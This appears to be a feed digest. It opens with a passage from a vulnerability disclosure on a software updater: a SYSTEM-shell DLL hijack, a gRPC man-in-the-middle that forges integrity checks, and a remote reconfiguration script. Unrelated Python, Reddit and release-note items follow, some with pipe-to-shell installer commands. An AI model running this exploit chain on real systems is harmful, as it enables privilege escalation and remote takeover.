DoIt() { HANDLE hToken = GetCurrentProcessToken(); DWORD infoSize; GetTokenInformation(hToken, TokenUser, NULL, 0, &infoSize); auto buffer = std::make_unique<char[]>(infoSize); if (!GetTokenInformation(hToken, TokenUser, buffer.get(), infoSize, &infoSize)) { return; } _TOKEN_USER* tokenUser = (_TOKEN_USER*)buffer.get(); if (!IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid)) { return; } STARTUPINFO startupInfo; memset(&startupInfo, 0, sizeof(startupInfo)); PROCESS_INFORMATION processInfo; memset(&processInfo, 0, sizeof(processInfo)); wchar_t commandLine[] = L"cmd.exe"; if (!CreateProcess(NULL, commandLine, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo)) { return; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DoIt(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } The goal was to write the DLL to: C:\Program Files\Common Files\microsoft shared\ink osk.exe, the Windows On-Screen Keyboard, loads this DLL. The program is available from the secure desktop opened with Ctrl+Alt+Delete. It is started by WinLogon with NT AUTHORITY\SYSTEM privileges. The reference server performs an integrity check using the MD5 digest and size of Administrator.6.0.0.AnyCPU.zip. This information is then returned to the updater. The gRPC requests sent by the reference server to updater.myreport.fr show how these values are retrieved. Retrieving information for the integrity check. The decompiled code of MyUpdaterService.RPC.Client.dll confirms that these checks are present. Fields in the ProductInformation class. Traffic to updater.myreport.fr was intercepted on the reference server controlled by us. It was redirected to a tool created during the assessment. This tool returned the correct MD5 digest and size for the modified archives. The tool worked as a gRPC and TLS man-in-the-middle server. It forwarded requests to the vendor server and modified the responses. It ran on another server. The /etc/hosts file on the reference server was changed so that updater.myreport.fr resolved to the address of the gRPC tool. Traffic for updater.myreport.fr was redirected to the gRPC tool. The updater could not connect to the gRPC tool with a self-signed certificate. It returned this error: The remote certificate is invalid according to the validation procedure: RemoteCertificateNameMismatch, RemoteCertificateChainErrors Source: System.Private.CoreLib Exception type: System.Security.Authentication.AuthenticationException The error showed a problem with the domain names in the certificate. We reproduced the certificate information from updater.myreport.fr and used it with the gRPC tool. A certificate can also be generated for Nginx with the following configuration: tee /etc/nginx/certs/myreport.cnf > /dev/null <<'EOF' [ req ] default_bits = 2048 prompt = no default_md = sha256 req_extensions = req_ext distinguished_name = dn [ dn ] C = FR O = MyReport Local Proxy CN = *.myreport.fr [ req_ext ] subjectAltName = @alt_names [ alt_names ] DNS.1 = *.myreport.fr DNS.2 = myreport.fr [ v3_ca ] subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = CA:TRUE EOF The updater expects the MD5 digest and file size in a specific format. The following PowerShell commands, also available in get_hash_and_size.ps1, generate these values: $f = "C:\ProgramData\MyReport\Updater\Downloaded\Administrator.6.0.0.AnyCPU.zip" Write-Host "### Hash ###" [Convert]::ToBase64String([byte[]](-join ((Get-FileHash $f -Algorithm MD5).Hash -split '(..)' | Where-Object {$_} | ForEach-Object {[char][Convert]::ToByte($_,16)})).ToCharArray()) Write-Host "### Size ###" $s=(Get-Item $f).Length;-join ($(while($s-gt0x7F){-bor0x80);$s=$s-shr7};[byte]($s-band0x7F))|%{'\x{0:x2}'-f$_}) The result for the modified archive was: ### Hash ### gIYMdbsrrZZx+ntRYhDu2g== ### Size ### \x9e\xa3\x9b\x2b After obtaining the integrity-check values, we started the module installation with this command: UpdaterManager.exe add --installLocation "C:\Program Files\Common Files\microsoft shared\ink" --products Administrator --version 6.0.0 --serverPlatform x64 --NoInstallIIS --force The gRPC man-in-the-middle tool received the responses from updater.myreport.fr. It replaced the MD5 digest and file size before returning the responses to the reference server. The responses from updater.myreport.fr were modified. At the end of the installation, the following file was present on the Citrix machine: C:\Program Files\Common Files\microsoft shared\ink\HID.dll We pressed Ctrl+Alt+Delete to open the secure desktop. We then selected the On-Screen Keyboard from the options in the lower-right corner. The DLL was loaded and a command prompt opened with NT AUTHORITY\SYSTEM privileges. Command prompt running as NT AUTHORITY\SYSTEM. Remote code execution
We later found that a custom gRPC request could remotely change the configuration mode of a machine running "MyReport Updater". A Python script, grpcmanual.py, was created to automate this request.
The target machine used in this test had the IP address
172.16.200.134.
Initial configuration of the target machine.From another machine, the attacker can remotely change the mode, port, and address used by the target.
$ python3 grpcmanual.py -h usage: grpcmanual.py [-h] [--target TARGET] [--target-port TARGET_PORT] --host HOST --port PORT [--mode {0,1,2,3}] UpdateConfigReferent via gRPC options: -h, --help show this help message and exit --target TARGET --target-port TARGET_PORT --host HOST --port PORT --mode {0,1,2,3} 0: Customized, 1: Managed, 2: UnManaged, 3: ReferentThe host address in the following command is only an example. It confirms that the mode, address, and port are changed on the target.
$ python3 grpcmanual.py --host 8.8.8.8 --port 443 --mode 1 --target 172.16.200.134 [+] Configuration: - Target: 172.16.200.134:9095 - Host: 8.8.8.8 - Port: 443 - Mode: Managed [+] Message (18 bytes): 0a100a090a07382e382e382e3810bb031801 [+] SUCCΓS! [+] Reponse (56 bytes): 12360a090a07382e382e382e3810bb031801222464333535333066372d326637332d343731662d623030302d346632326632383234663431
The target configuration was changed remotely.The previous demonstrated LPE vulnerability can therefore be exploited remotely. It allows unauthenticated remote code execution with
SYSTEMprivileges.Disclosure timeline
Below we include a timeline of the relevant events during the coordinated vulnerability disclosure process with the intent of providing transparency to the whole process and our actions. This list is not exhaustive.
- 2025-11-04: Quarkslab was contacted by MyReport requesting information about a vulnerability we reported to a mutual customer. A conference call is held to discuss the matter.
- 2025-11-05: Quarkslab notifed MyReport that a technical report was being prepared. MyReport provided a GPG public key to encrypt the report.
- 2025-11-12: Quarkslab sent the technical report and asked the vendor to acknowledge it.
- 2025-11-20: Quarkslab asked for confirmation that the report was received and could be read.
- 2025-12-08: Quarkslab asked for an update.
- 2025-12-09: Quarkslab informed the vendor that a 90-day embargo period would be set and asked for a timeline for producing a fix, validate it and public release.
- 2026-02-06: Quarkslab requested an update and informed the vendor that in absence of response the report will be forwarded to CERT-FR to coordinate disclosure with them in order to inform affected users.
- 2026-02-06: Our mutual customer indicated that the vulnerability should be disclosed since it is exploitable and users are at risk.
- 2026-02-09: MyReport acknowledged the technical report and said their engineers were working on a comprehensive analysis of the problem. Their goal was to provide a response before March 8th and said that they would contact Quarkslab if they needed further information.
- 2026-02-16: MyReport asked to organize a meeting to present and discuss their action plan.
- 2026-02-24: Quarkslab proposed dates and times for a meeting with the vendor and our mutual customer. Our mutual customer delegated follow up to Quarkslab.
- 2026-03-03: Videoconference between Quarkslab and MyReport to coordinate the action plan.
- 2026-03-18: Quarkslab notified the vendor that we have not received a timeline for the fixes, as agreed in the past videoconference.
- 2026-03-19: MyReport indicated that the timeline would be sent the next week. Signing of the update packages was being finished.
- 2026-03-30: Quarkslab sent email to MyReport indicating that over the past 4 months we've repeatedly requested a remediation roadmap, which the vendor commited to provide but did not deliver. The original 90-day embargo period had expired and our mutual customer remained exposed. Told the vendor that CERT-FR would be notified and the disclosure date was set to April 3th, 2026. If, by then, the vendor provided a roadmap with firm delivery dates the disclosure date could be reconsidered.
- 2026-04-02: MyReport replied with a remediation roadmap that included release of fixes at the end of Q2-2026 and re-architecture of the service and release of the new architecture at the end of Q3-2026. Quarkslab agreed to postpone publication to end of Q2-2026.
- 2026-07-09: To coordinate diclosure to potentially affected users, Quarkslab contacted CERT-FR and provided the technical report and a summary of the disclosure timeline so far.
- 2026-07-21: CERT-FR acknowledged the report and requested a brief summary of the discussion with the vendor so far and some information about the circunstances of the discovery of the vulnerability.
- 2026-08-03: Quarkslab sent the requested information to CERT-FR and notified them that the vendor provided a roadmap for fixes in April and that Quarkslab had prepared a blog post describing the vulnerability.
- 2026-08-03: CERT-FR acknowledged the information provided by Quarkslab and requested further details about the vendor's roadmap, asked for the vendor's point of contact and indicated we should continue coordinating with the vendor but keep them informed.
- 2026-08-11: Quarkslab informed CERT-FR of the prior communications with MyReport, provided their point of contact and explained they are a french vendor whose software is used by their customers and other vendors. Noted that disclosure was now planed for early September and said dissemination of the information within a reasonable timeframe was important.
- 2026-08-11: Quarkslab sent email to MyReport saying the end of Q2 deadline for the release of fixes passed and we had not received any notification about it. Notified them that CERT-FR was informed of the vulnerability and requested information about release of patches, affected and fixed versions and their deployment schedule.
- 2026-08-17: CERT-FR acknowledged our last email and indicated they were aligned with the coordinated process so far.
- 2026-08-24: CERT-FR contacted the vendor and asked for an update on the remediation process.
- 2026-09-10: MyReport replied with a new designated point of contact for the coordination and provided an update on the remediation plan. Three tasks were already completed and another one was being implemented. The release of fixes was planed for "mid October".
- 2026-09-10: Quarkslab asked if there was a specific date for the "mid October" release and if customers would be notified of it with a security advisory or any other security-specific communication.
- 2026-09-14: MyReport informed that the new release was scheduled to October 13th, 2026 and the security fixes would be informed in the Release Notes.
- 2026-10-02: CERT-FR acknowledged receiving the communication from MyReport and asked Quarkslab for our publication date.
- 2026-10-13: This blogpost is published.
References
-
π r/LocalLLaMA Once again anthropic doing free marketing for open weight models rss
| submitted by /u/kubblegum
[link] [comments]
---|--- -
π r/LocalLLaMA It's been 2 months rss
| submitted by /u/Comfortable-Rock-498
[link] [comments]
---|--- -
π Simon Willison Hello Python 3.15, goodbye 3.10, and now I can use 3.11 rss
Python 3.15 is here! Here's the essential What's new in Python 3.15 guide, this year curated by 3.14 and 3.15 release manager Hugo van Kemenade. As someone who builds open source software that works in every supported Python version, I get to say goodbye to Python 3.10 and start embracing features from Python 3.11.
First, some highlights from Python 3.15.
Explicit lazy imports
I'm most excited about Explicit lazy imports from PEP 810. These let you import modules like so:
lazy import json lazy from pathlib import Path
The module will then be imported the first time those symbols are used in the code that follows.
My LLM CLI tool implements plugins. I had to recommend manual lazy imports in the plugin author documentation, because simply installing plugins that used heavy dependencies such as
sentence_transformerscould add multiple seconds to every invocation of thellmcommand. Lazy imports directly address this startup cost.Unpacking in comprehensions
The new
[*sublist for sublist in lists]unpacking syntax is neat. Here's an illustration lifted from the documentation:lists = [[1, 2], [3, 4], [5]] [*L for L in lists] # [1, 2, 3, 4, 5] # equivalent to [x for L in lists for x in L] sets = [{1, 2}, {2, 3}, {3, 4}] {*s for s in sets} # {1, 2, 3, 4} # equivalent to {x for s in sets for x in s} dicts = [{'a': 1}, {'b': 2}, {'a': 3}] {**d for d in dicts} # {'a': 3, 'b': 2} # equivalent to {k: v for d in dicts for k,v in d.items()}
PEP 798: Unpacking in Comprehensions by Adam Hartz and Erik Demaine proposed this as an extension of the unpacking syntax from PEP 448, which landed in Python 3.5 back in 2015.
A sampling profiler
Python's existing tracing profiler has been renamed from
cProfileto profiling.tracing, and has been joined by an exciting new sampling profiler called Tachyon, aka profiling.sampling.Sampling profilers work by periodically capturing stack traces from running processes, then using those to calculate which functions have the most time spent inside of them. They're very low overhead and can provide a deep insight into running systems, without needing to instrument those systems first.
I've previously used tools like py-spy for this. Now this capability is baked into the standard library.
If you have the PID of an existing Python 3.15 process you can start gathering samples by running this (I had to use
sudoon macOS):sudo uv run --python 3.15 python -m profiling.sampling attach 1234
Interact with the main program a bit, then hit Ctrl+C to stop gathering and see a report, which looks something like this:

It can also produce flame graphs like this and heat maps like this, and can even output a format that can be viewed in the Firefox profiler UI.
3.15 isn't much faster than 3.14
Miguel Grinberg investigated How fast is Python 3.15? the other day against the 3.15.0rc3 release and found performance to be mostly the same as 3.14, with the exception of the experimental JIT. The JIT gave a 1.2x boost over the standard 3.15 interpreter (on a Fibonacci test), the first time Miguel observed a meaningful JIT performance increase.
Miguel's explorations of 3.14 last year found significant boosts against Python 3.13 across many more categories.
Upgrading to Python 3.15 with uv
I used the following sequence of commands to get
uvto use Python 3.15 on my Mac. First I had to upgradeuvitself to ensure it knew about the new release:uv self update
Then I installed the stable 3.15 release:
uv python install 3.15
And told
uvthat I wanted that to be the default for everyuv runcommand, unless the project itself pinned a different version:uv python pin --global 3.15
Now the following reports 3.15 as the version:
uv run python --version
I already have a bunch of tools installed using
uv tool install. I reinstalled them to use Python 3.15 like this:uv tool upgrade datasette --python 3.15
Then I can confirm the version like this:
datasette --get /-/versions.json | jqHighlights from Python 3.11
The release of 3.15 means that Python 3.10 (released in 2021) is officially no longer supported.
My policy for my main open source projects is to keep them working in every supported Python version. I can now drop 3.10 and start using features that were introduced in 3.11.
Here's the What's new in Python 3.11 document. I finally get to rely on tomllib being available!
Datasette makes extensive use of
asyncio. 3.11 adds TaskGroup and timeout(), and several more new features.datetime.UTCis a new in 3.11 alias fordatetime.timezone.utc.Python's SQLite support got some significant upgrades in 3.11, including:
- setlimit() and getlimit() expose a mechanism for setting SQLite runtime limits from Python.
-
create_window_function() lets us create custom window functions in Python, as a class with
step(),value(),inverse(), andfinalize()methods. -
blobopen() provides an efficient mechanism for partial reads and writes of large
BLOBbinary values stored in a SQLite row. - You can now call
set_authorizer(None)to remove a SQLite authorizer. Datasette had a workaround for this!
Plus a whole bunch of improvements to Python's typing system.
I plan to land Python 3.11 improvements to a bunch of my projects over the next few weeks. Here's my first Datasette PR removing that
set_authorizer(None)workaround.I've also updated my click-app, datasette-plugin, python-lib, and llm-plugin cookiecutter templates to test against Python 3.11 through Python 3.15.
You are only seeing the long-form articles from my blog. Subscribe to /atom/everything/ to get all of my posts, or take a look at my other subscription options.
-
π r/LocalLLaMA Qwen released QwenGyre - RL framework for training AI agents on extremely long complex tasks rss
| Introducing QwenGyre, bringing elastic RL to extreme-long-horizon (XLong) agent training. It launches with two core designs: - Elastic Scheduler: reallocates GPUs between rollout & training as demand shiftsβlive executions never interrupted. Up to 1.85Γ speedup over Colocate, 1.78Γ over Async. - Trajectory Processor: turns branching executions (compaction, sub-agents, retries) into prefix-shared trajectory trees with bounded, deduplicated training samples. Partial progress after timeout still gets scored. Scaled to Qwen3.8-2.4T-A95B with ~700K tokens per rollout, QwenGyre lifts NL2RepoBench from 52.5% to 58.5% in 48 steps, cutting end-to-end training time by ~44% vs Async. π Read the paper: arxiv.org/abs/2609.33848 submitted by /u/ResearchCrafty1804
[link] [comments]
---|--- -
π backnotprop/plannotator v0.28.17 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levelsWhat's New in v0.28.17
A follow-up to 0.28.16: the Inbox now fits iPads and narrow windows, a desktop layout bug from 0.28.16 is fixed, and a Pi crash reported by @vivek- gurung is gone.
iPads and narrow windows
Between a phone and a full desktop window (an iPad held upright, or a browser window around 800 to 1050 pixels wide) an open thread used to be squeezed to about 150 pixels beside the list, with the sender's name running into the time. Now, when the list and a readable thread don't both fit, the thread covers the list with a
βΉ Inboxbutton, the way it does on a phone, and an open decision covers the Decisions list the same way. Keyboard focus moves toβΉ Inboxwhen the thread opens and back to its row when you return, including when you resize the window across that width. An iPad held sideways keeps the list and the thread side by side, as before. Wide desktop windows are unchanged.On phones, the file view in landscape is roomier, the Mark read toast is one line, and the smaller controls have 44-pixel tap areas.
The reply bar no longer cuts off "Keep open"
In 0.28.16, a thread with a picked answer and an unanswered question needed a reply bar wider than most windows, so "Keep open" was cut off at 1280 and 1440 pixels. The bar now wraps to a second row when it doesn't fit.
Pi no longer crashes on a decision from a tab left open across
/reloadA plan review opened through Pi's
plannotator:requestevent API kept its tab after/reloador a session switch. Approving or denying in that tab called into the replaced session, Pi's stale-context error escaped the request, and Pi exited. Decision listeners now run so a thrown error can't escape, and the event API's emit is guarded. The tab stays usable: its decision is still recorded forreview-status, so another extension can pick it up after a restart. The status file is now written atomically and is never wiped if it's unreadable. A plan review opened byplannotator_submit_plannow tells its open tab when the session ends ("Review Closed β¦ your comments are saved") instead of leaving it silently dead.- #1865, closing #1864 reported by @vivek-gurung
Additional changes
- Tests can no longer reach your real Inbox. Test and dev-script helpers refuse your real data folder, and test cleanup only stops an Inbox it can prove it started. #1862
Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Tests and dev scripts can never reach the real Inbox by @backnotprop in #1862
- Inbox: iPad and narrow windows, and phone polish by @backnotprop in #1863
- Pi: a decision from a review tab left open across /reload no longer crashes Pi by @backnotprop in #1865
- Inbox: focus and Back for a decision that covers its list by @backnotprop in #1866
Community
- @vivek-gurung reported #1864 with the stack trace, the root cause in
publishDecision, and a suggested fix, which made the Pi crash quick to fix and test.
Full Changelog :
v0.28.16...v0.28.17 -
π MetaBrainz MetaBrainz Summit 2026 rss

Hi everyone! Sorry if we react slowly this week, that's because our brains are all slowed down digesting all of the chocolate! Which long term readers will know means we are in Barcelona at our yearly summit all week.
Today Monday 12 we will have mostly an internal organizational day to figure out how to do things with our new Executive Director Silona.
Tomorrow Tuesday 13 we will have the traditional presentations about how each project has been doing the past year. Those will be live-streamed on YouTube at https://www.youtube.com/live/OQzlSWMbX8I starting around 14:00 CEST, and we will take some questions from the community in the MetaBrainz room in Matrix/Discord after each presentation!
More generally, we have a list of topics we are planning to discuss on our Summit wiki page. If you feel there's some other topic that we really should be discussing, please bring it up in our chat and we'll see if we can fit it!
We will update this post with more info about the rest of the week as we figure things out - please forgive us for any organizational mishaps and slowness since we are still working to figure out the changes we need to the summit format for this year after the loss of Rob, who was always the main organizer of the event. And, of course, because of all the chocolate we are trying to digestβ¦
Planning:
Monday 12|
---|---
Morning| Org day
Afternoon| Org day
Tuesday 13| CEST_
---|---
Morning| Hack-sessions
11:00: Solr Test Environment (I)
11:00: Clickhouse Stats
12:00: Jira 11 upgrade
12:00: Wikidata bot upgrade
12:00: Harmony
Afternoon| State of the Brainz (STREAMED)
14:00: State of MetaBrainz
14:10: State of MusicBrainz
14:30: State of Instruments
14:45: State of Picard
β
15:30: State of BookBrainz
15:45: State of ListenBrainz
16:00: State of Apps
16:30: State of the Community
Wednesday 14| _CEST
---|---
Morning| 11:00: AI Policy-Code
12:00: AI & Infrastructure (+Funding)
Afternoon| 14:00: Roles & Responsibilities
15:15: Infrastructure Upgrades
16:30: CRM
17:00 Wed: OpenTelemetry
17:00 Wed: GDPR / privacy policy
17:30 Wed: Events & Editations
17:30 Wed: Synapse (Notifications)
Thursday 15| CEST_
---|---
Morning| Hack-sessions
11:00: Solr Test Environment (II)
11:00: Matrix Bridge Upgrades
12:00: ListenBrainz infrastructure
Afternoon| Sessions
14:00: AI Policy: Editing
15:00: Internal Documentation
16:00: Video Call with Board
17:30: Product Management (metrics)
Friday 1 6| _CEST
---|---
Morning| Visit Rob's memorial spot
Afternoon| Sessions
14:00: Application Security (Upgrade Policy, Check up)
14:30: Staging Imports
15:00:SaaS
15:30: MusicBrainz Data Analysis
16:00: Something will come up
17:00: Conclusion (STREAMED)Hack-sessions
17:45: Solr Haproxy Logs
17:45: Moods
18:30: MB GraphQL -
π smol-machines/smolvm smolvm v1.27.1 release
What's Changed
- Branch concurrent requests with pinned ports from one source checkpoint by @BinSquare in #1725
- Create machines from local images over the API under an opt-in local image directory by @BinSquare in #1707
- Bump version to 1.27.1. by @BinSquare in #1726
Full Changelog :
v1.27.0...v1.27.1 -
π r/LocalLLaMA Decision 3.0: open, multimodal decision models from 0.6B to 27B. Ranks #1 on both Jev Decision Index boards rss
| With the vLLM Semantic Router team we released Decision 3.0 (d3) , our new SOTA decision model family ranging from 0.6B to 27B, Apache-2.0, all reading text, images and video. How it works - Built on Qwen3.5 (0.8B / 2B / 4B / 9B) and Qwen3.8-27B. The parameter counts include the vision encoder: 0.33B in the 4B, 0.46B in the 27B. - Three decision types: choice, yes/no, score. Probability for every answer, with no text generation. Several questions about the same input are answered in one call, each from its own forward pass over the input. - Images: multiple per request, read at up to 1.6 MP. - Video: multiple per request (MP4, WebM, MOV, MKV), sampled at 2 fps, at most 32 frames over the whole clip, each at up to 0.2 MP. - BF16 weights, load with Transformers (trust_remote_code=True), trained on AMD Instinct MI325X. Results (our evaluation, official Jev 0.3 kit on the released weights) - #1 on both boards: the 27B scores 64.7 text and 71.6 vision, ahead of every listed model, Jev's own included. - Every size leads its class: the 0.6B, 0.8B, 4B and 9B each lead their size class. The 9B (d3-flash) beats our previous-generation 27B (Decision 2.0). - Video zero-shot: no model saw video in training. On all 19,140 Perception Test validation questions, the 27B scores 77.4 and the 4B scores 70.3. HF collection: https://huggingface.co/collections/vllm-sr/decision-30 submitted by /u/henzy123
[link] [comments]
---|--- -
π backnotprop/plannotator v0.28.16 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
v0.28.3 | Typing into your agent while it answers an Ask no longer streams into PlannotatorWhat's New in v0.28.16
An Inbox release: it now works on a phone, it can ring when an agent asks you something, a reply with no answers no longer leaves the thread at the top, and you can step through a thread's files without going back to it.
The Inbox on a phone
Opened from a phone (for example over your tailnet with
plannotator inbox --tailscale), the Inbox used to show the desktop layout squeezed into a narrow screen: a thread was a sliver that scrolled sideways, and the time sat on top of the agent's mark. It now works like a mail app. The list has two- line rows, a thread covers the list with a Back button that matches the system's swipe back, files open on their own screen with comments in a bottom sheet, and the reply box sits above the keyboard. Tap targets are 44px, inputs no longer zoom the page on iOS, and nothing scrolls sideways, including long links and IDs in a message. The desktop layout is unchanged.A doorbell when an agent asks you something
Chrome on a Mac shows web notifications silently, so a question could arrive unnoticed. The Inbox now plays a soft two-tone doorbell when an agent asks a question while the Inbox tab is in the background. It rings once for a burst of questions, never for plain messages, and only one tab rings if several are open. Settings has a switch, a volume slider and a Play button. After this update you'll see a short one-time dialog to keep it on or turn it off, along with where your notifications stand.
Mark read, and replies that don't leave the thread at the top
A reply with words but no answers used to leave the thread in "Waiting on you". Now a Send skips the questions you didn't answer (a "Keep open" option keeps them), the agent is told which ones were skipped, and the thread moves on. Mark read (next to Archive, or
E) moves a thread to Quiet without replying, closes its open questions and tells the agent not to wait on them, with Undo. It comes back when the agent writes again. Resolve is now called Archive. "Sent" moved below "New since you looked", and your own reply no longer reorders the list while you're still in the thread. Agents are also told to withdraw their own questions once a later message makes them moot.Step through a thread's files
When a thread carries several files, a bar under the viewer reads
βΉ 3 of 5 Β· file β βΊ. The arrows (or]and[) move through every file in the thread, the middle opens a list of them grouped by message, and full screen stays full screen. Plannotator asks before you lose a comment you've typed.Replying when the agent's session has ended
A reply goes to the session that asked. When that session has ended, the thread now says so, and Send lets you choose a live session in the project to take the reply, or leave it for the next agent. This shows only for sessions the Inbox knows can be woken.
Additional changes
- Wider list beside a thread. The list next to an open thread has the same drag handle as the sidebar. #1854
- An Inbox whose data folder disappears now exits. Before, it kept running (and a leaked test Inbox spun one CPU core at 100%); now it stops within about 10 seconds, and the Inbox tests always stop what they start. #1861
- Graphviz attachments render in the Inbox. The window's security policy now allows WebAssembly (not
eval), which the Graphviz engine needs. #1859
Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Inbox: when the asking session has ended, choose who takes your reply by @backnotprop in #1853
- Inbox: drag to widen the list beside an open thread by @backnotprop in #1854
- Inbox: step through a thread's attachments without leaving the viewer by @backnotprop in #1855
- Inbox: a soft doorbell when an agent asks you something by @backnotprop in #1856
- Inbox: Mark read, and a Send skips the questions you didn't answer by @backnotprop in #1857
- Inbox: a phone layout that works like a mail app by @backnotprop in #1858
- Inbox: Graphviz attachments render (allow WebAssembly in the window's CSP) by @backnotprop in #1859
- Inbox: one Send is one reply when one agent wrote the thread by @backnotprop in #1860
- Inbox: an Inbox whose data folder is gone exits instead of spinning by @backnotprop in #1861
Full Changelog :
v0.28.15...v0.28.16 -
π smol-machines/smolvm smolvm v1.27.0 release
What's Changed
- Retry removing a machine's data while something still writes into it, and log what was left by @BinSquare in #1679
- Keep public HTTPS trust in credentialed minimal images by @BinSquare in #1697
- Load the native root certificates once per process by @BABTUNA in #1692
- Read only the data ranges of a VM disk when packing it by @BABTUNA in #1690
- Run idle reclaim on Windows by @BinSquare in #1685
- Prevent guest file reads from hanging on named pipes by @BinSquare in #1684
- Bump libkrunfw to the Linux 6.18.55 guest kernel by @BinSquare in #1704
- Preserve split UTF-8 characters in streamed exec output by @BinSquare in #1715
- Forward stdin through streamed machine exec by @BinSquare in #1714
- Keep streamed exec responsive to partial stdin frames by @BinSquare in #1716
- Prepare file access without running commands from guest images by @BinSquare in #1700
- Keep running VMs alive when serve startup fails by @BinSquare in #1717
- Reuse a manifest pulled by digest instead of fetching it from the registry again by @BinSquare in #1718
- Fix mirrored image cache keys and credential scoping by @BinSquare in #1686
- Answer the readiness doorbell in pack run by @BABTUNA in #1720
- Bound queued output for streamed API exec by @BinSquare in #1711
- Report guest exec timeouts in direct and streaming responses by @BinSquare in #1703
- Give each embedded control test its own database even within one clock tick by @BinSquare in #1677
- Confirm macOS process exit events before reporting VM shutdown by @BinSquare in #1670
- Bump libkrun to the Windows performance work by @BinSquare in #1722
- Allow HTTP fallback for credentialed WebSocket clients by @BinSquare in #1698
- Allow opt-in OAuth form credential substitution by @BinSquare in #1699
- Accept pure OCI archives as local machine images by @BinSquare in #1710
- Give credential interception leaves Authority and Subject Key Identifiers so strict TLS verification accepts them by @BinSquare in #1723
- Bump version to 1.27.0. by @BinSquare in #1724
Full Changelog :
v1.26.1...v1.27.0 -
π Ampcode News First Things First, Faster rss
The Changes pane now automatically puts files in an intelligent order. Amp reads the diff, identifies the files that are essential to the change, and puts them first.
If the diff changes, Amp computes an updated order without rearranging the files while youβre reviewing them. Instead, a blue dot will appear over the intelligent ordering button, which you can click to apply the updated order.
The new automatic intelligent ordering is computed much more rapidly. Here is a comparison of the same diff ordered by both the old and new method:
You can optionally go back to alphabetical file ordering by clicking the ordering button.
-
π Ampcode News You've Got Comments rss
Amp now follows up on GitHub pull requests it opens. Comments, reviews, and CI results show up in the same thread.
When Amp opens a PR, the agent can now subscribe to the PR's comments, reviews, and CI for its latest commit. A failing check or a reviewer's question shows up in the same thread, and Amp already has the context to deal with it.

This is enabled by our new first-class support for GitHub Webhooks. In contrast to our existing, more generic webhook support, the new GitHub Webhook integration centrally handles all requests on the Amp side and then lets you (and your agent) decide whether to forward them to a single orb or to a new one each time. An agent can subscribe to certain events or can set up a subscription that spawns new orbs.
A New Orb for Every New GitHub Issue or PR
Ask Amp to start a new orb for every new issue or PR in a repository. You can also limit it to ones opened with a certain label. You don't need to keep the thread where you set it up.

Each new issue or PR gets its own orb, which reads it and has a summary waiting when you open the thread. Later comments on that issue or PR go to the same thread, so the conversation stays in one place.

You manage these in Settings β MCP & Integrations β GitHub, where you can edit or pause them and see the orbs each one started.

Read the docs to find out how to watch CI when you push to
main, follow an existing issue or PR, and ask Puck what Amp is following.Install the Amp GitHub App on your repository to get started.
-
